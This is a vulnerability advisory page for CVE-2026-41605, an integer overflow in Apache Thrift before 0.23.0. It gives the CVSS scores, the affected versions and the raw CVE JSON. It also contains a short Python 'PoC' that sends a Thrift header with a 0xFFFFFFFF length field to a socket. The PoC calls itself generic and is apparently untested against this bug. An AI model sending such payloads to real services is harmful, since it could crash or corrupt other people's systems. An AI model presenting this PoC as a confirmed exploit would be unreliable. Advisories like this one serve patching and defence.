Security Vulnerability Report
中文
CVE-2026-41605 CVSS 7.3 HIGH

CVE-2026-41605

Published: 2026-04-28 10:16:03
Last Modified: 2026-04-28 18:39:57

Description

Integer Overflow or Wraparound vulnerability in Apache Thrift. This issue affects Apache Thrift: before 0.23.0. Users are recommended to upgrade to version 0.23.0, which fixes the issue.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:* - VULNERABLE
Apache Thrift < 0.23.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Target host and port HOST = '127.0.0.1' PORT = 9090 # Apache Thrift message format usually involves a version check and specific headers. # This is a generic PoC attempting to trigger an integer overflow via a malformed message length. def create_malformed_thrift_message(): # Construct a message header with a malicious length field. # Example: Strict protocol version (0x80010000) + String length (0xFFFFFFFF) # This may cause an integer overflow when calculating buffer size. version = 0x80010000 malicious_length = 0xFFFFFFFF # Max 32-bit int to cause overflow # Pack the header (Assuming standard 32-bit integers) # Format: Big Endian, 2 Integers header = struct.pack('>II', version, malicious_length) # Return the payload return header def send_exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) payload = create_malformed_thrift_message() s.sendall(payload) print("[+] Malformed payload sent to trigger integer overflow.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41605", "sourceIdentifier": "[email protected]", "published": "2026-04-28T10:16:03.350", "lastModified": "2026-04-28T18:39:57.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer Overflow or Wraparound vulnerability in Apache Thrift.\n\nThis issue affects Apache Thrift: before 0.23.0.\n\nUsers are recommended to upgrade to version 0.23.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.23.0", "matchCriteriaId": "0CE7604A-DA43-44E3-9840-9E3696223DD5"}]}]}], "references": [{"url": "https://lists.apache.org/thread/lb4j0zyd5f3g36cos0wql925przpnwql", "source": "[email protected]", "tags": ["Mailing List", "Patch", "Release Notes"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/28/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}